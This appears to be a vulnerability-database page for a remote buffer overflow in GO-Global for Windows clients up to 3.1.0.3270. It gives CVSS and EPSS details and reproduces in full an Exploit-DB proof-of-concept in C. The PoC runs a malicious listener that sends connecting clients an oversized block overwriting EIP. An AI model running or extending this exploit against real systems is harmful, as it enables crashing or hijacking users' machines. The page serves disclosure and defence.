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Descriptions
Buffer overflow in GO-Global for Windows 3.1.0.3270 and earlier allows remote attackers to execute arbitrary code via a data block that is longer than the specified data block size.
Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metric | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 1286
Publication date : 2005-11-01 23:00 +00:00
Author : Luigi Auriemma
EDB Verified : Yes
/*
by Luigi Auriemma
*/
#include
#include
#include
#ifdef WIN32
#include
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include
#include
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
// inserted winerr.h /str0ke
#define close closesocket
#else
#include
#include
#include
#include
#include
#include
#endif
#define VER "0.1"
#define PORT 491
#define BOFSZ 1797
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sdl,
sda,
i,
on = 1,
psz;
u_char buff[BOFSZ + 64], // bof??? this is only a PoC...
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"GO-Global for Windows clients <= 3.1.0.3270 buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);
printf("- bind port %hu\n", PORT);
sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sdl < 0) std_err();
if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(listen(sdl, SOMAXCONN)
< 0) std_err();
fputs("- wait clients:\n", stdout);
for(;;) {
sda = accept(sdl, (struct sockaddr *)&peer, &psz);
if(sda < 0) std_err();
printf("- exploiting %s:%hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
p = buff;
recv(sda, p, 1, 0);
if(*p == '_') { // windows client
do {
recv(sda, ++p, 1, 0);
} while(*p != '_');
} else { // unix client (not vulnerable)
fputs("- GO-Global for Unix clients are not vulnerable\n", stdout);
for(i = 1; i < 6; i++) {
recv(sda, ++p, 1, 0);
}
}
p++;
// buff already contains the data to send back!
*(u_short *)p = htons(BOFSZ); // seems not needed
p += 2;
memset(p, 'a', BOFSZ);
*(u_int *)(p + BOFSZ - 6) = 0xdeadc0de; // EIP
p += BOFSZ;
send(sda, buff, p - buff, 0);
recv(sda, buff, sizeof(buff), 0);
close(sda);
}
close(sdl);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2005-11-02]
Products Mentioned
Configuraton 0
Graphon>>Go-global >> Version 3.1.0.3270
- Graphon>>Go-global >> Version 3.1.0.3270 (Open CPE detail)
Microsoft>>Windows >> Version -
- Microsoft>>Windows >> Version - (Open CPE detail)
- Microsoft>>Windows >> Version - (Open CPE detail)
- Microsoft>>Windows >> Version - (Open CPE detail)
References
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